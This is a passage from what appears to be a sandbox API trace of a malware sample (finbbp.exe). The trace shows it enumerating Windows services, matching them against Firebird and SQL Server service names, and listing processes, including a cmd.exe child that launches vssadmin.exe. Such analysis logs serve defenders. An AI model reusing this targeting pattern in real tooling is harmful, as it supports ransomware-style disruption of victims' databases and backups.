[0253.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0253.591] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0253.591] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0253.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0253.591] lstrlenW (lpString="PcaSvc") returned 6 [0253.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0253.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0253.591] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0253.591] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0253.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0253.591] lstrlenW (lpString="PlugPlay") returned 8 [0253.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0253.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0253.591] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0253.591] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0253.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0253.591] lstrlenW (lpString="Power") returned 5 [0253.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0253.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0253.591] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0253.591] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0253.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0253.591] lstrlenW (lpString="ProfSvc") returned 7 [0253.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0253.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0253.592] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0253.592] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0253.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0253.592] lstrlenW (lpString="RpcEptMapper") returned 12 [0253.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0253.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0253.592] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0253.592] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0253.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0253.592] lstrlenW (lpString="RpcSs") returned 5 [0253.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0253.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0253.592] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0253.592] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0253.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0253.592] lstrlenW (lpString="SamSs") returned 5 [0253.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0253.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0253.592] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0253.592] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0253.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0253.592] lstrlenW (lpString="Schedule") returned 8 [0253.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0253.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0253.592] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0253.592] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0253.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0253.592] lstrlenW (lpString="SecurityHealthService") returned 21 [0253.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0253.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0253.593] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0253.593] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0253.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0253.593] lstrlenW (lpString="SENS") returned 4 [0253.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0253.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0253.593] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0253.593] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0253.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0253.593] lstrlenW (lpString="ShellHWDetection") returned 16 [0253.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0253.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0253.593] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0253.593] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0253.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0253.593] lstrlenW (lpString="Spooler") returned 7 [0253.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0253.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0253.593] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0253.593] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0253.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0253.593] lstrlenW (lpString="StateRepository") returned 15 [0253.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0253.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0253.593] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0253.593] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0253.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0253.593] lstrlenW (lpString="SysMain") returned 7 [0253.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0253.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0253.594] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0253.594] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0253.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0253.594] lstrlenW (lpString="SystemEventsBroker") returned 18 [0253.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0253.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0253.594] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0253.594] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0253.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0253.594] lstrlenW (lpString="Themes") returned 6 [0253.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0253.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0253.594] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0253.594] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0253.594] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4205e48 | out: hHeap=0x670000) returned 1 [0253.594] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3f4 [0253.672] Process32FirstW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0253.672] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0253.673] lstrlenW (lpString="System") returned 6 [0253.673] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0253.673] lstrlenW (lpString="smss.exe") returned 8 [0253.673] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0253.674] lstrlenW (lpString="csrss.exe") returned 9 [0253.674] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0253.674] lstrlenW (lpString="wininit.exe") returned 11 [0253.675] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0253.675] lstrlenW (lpString="csrss.exe") returned 9 [0253.675] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0253.697] lstrlenW (lpString="winlogon.exe") returned 12 [0253.697] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0253.698] lstrlenW (lpString="services.exe") returned 12 [0253.698] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0253.698] lstrlenW (lpString="lsass.exe") returned 9 [0253.699] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0253.699] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0253.699] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0253.700] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0253.700] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.701] lstrlenW (lpString="svchost.exe") returned 11 [0253.701] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.701] lstrlenW (lpString="svchost.exe") returned 11 [0253.701] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0253.702] lstrlenW (lpString="dwm.exe") returned 7 [0253.702] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.702] lstrlenW (lpString="svchost.exe") returned 11 [0253.702] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.703] lstrlenW (lpString="svchost.exe") returned 11 [0253.703] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.704] lstrlenW (lpString="svchost.exe") returned 11 [0253.704] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.704] lstrlenW (lpString="svchost.exe") returned 11 [0253.704] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.705] lstrlenW (lpString="svchost.exe") returned 11 [0253.705] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.706] lstrlenW (lpString="svchost.exe") returned 11 [0253.706] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.706] lstrlenW (lpString="svchost.exe") returned 11 [0253.706] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.707] lstrlenW (lpString="svchost.exe") returned 11 [0253.707] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.707] lstrlenW (lpString="svchost.exe") returned 11 [0253.707] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.708] lstrlenW (lpString="svchost.exe") returned 11 [0253.708] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0253.708] lstrlenW (lpString="spoolsv.exe") returned 11 [0253.708] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.709] lstrlenW (lpString="svchost.exe") returned 11 [0253.709] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0253.709] lstrlenW (lpString="audiodg.exe") returned 11 [0253.709] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0253.710] lstrlenW (lpString="sihost.exe") returned 10 [0253.710] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.710] lstrlenW (lpString="svchost.exe") returned 11 [0253.710] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0253.711] lstrlenW (lpString="taskhostw.exe") returned 13 [0253.711] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0253.711] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0253.711] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0253.711] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0253.712] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0253.712] lstrlenW (lpString="Memory Compression") returned 18 [0253.712] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0253.712] lstrlenW (lpString="explorer.exe") returned 12 [0253.712] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0253.713] lstrlenW (lpString="SearchUI.exe") returned 12 [0253.713] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0253.713] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0253.713] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0253.714] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0253.714] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0253.715] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0253.715] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0253.715] lstrlenW (lpString="finbbp.exe") returned 10 [0253.715] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0253.716] lstrlenW (lpString="cmd.exe") returned 7 [0253.716] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0253.716] lstrlenW (lpString="conhost.exe") returned 11 [0253.716] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0253.717] lstrlenW (lpString="vssadmin.exe") returned 12 [0253.717] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0253.717] lstrlenW (lpString="consent.exe") returned 11 [0253.717] Process32NextW (in: hSnapshot=0x3f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0253.718] CloseHandle (hObject=0x3f4) returned 1 [0253.718] Sleep (dwMilliseconds=0x1f4) [0254.223] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aa8f8 [0254.224] EnumServicesStatusExW (in: hSCManager=0x41aa8f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0254.224] GetLastError () returned 0xea [0254.224] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c4a) returned 0x4205e48 [0254.225] EnumServicesStatusExW (in: hSCManager=0x41aa8f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4205e48, cbBufSize=0x1c4a, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4205e48, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0254.226] CloseServiceHandle (hSCObject=0x41aa8f8) returned 1 [0254.226] lstrlenW (lpString="Appinfo") returned 7 [0254.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0254.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0254.226] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0254.226] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0254.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0254.226] lstrlenW (lpString="AppXSvc") returned 7 [0254.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0254.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0254.226] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0254.226] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0254.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0254.226] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0254.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 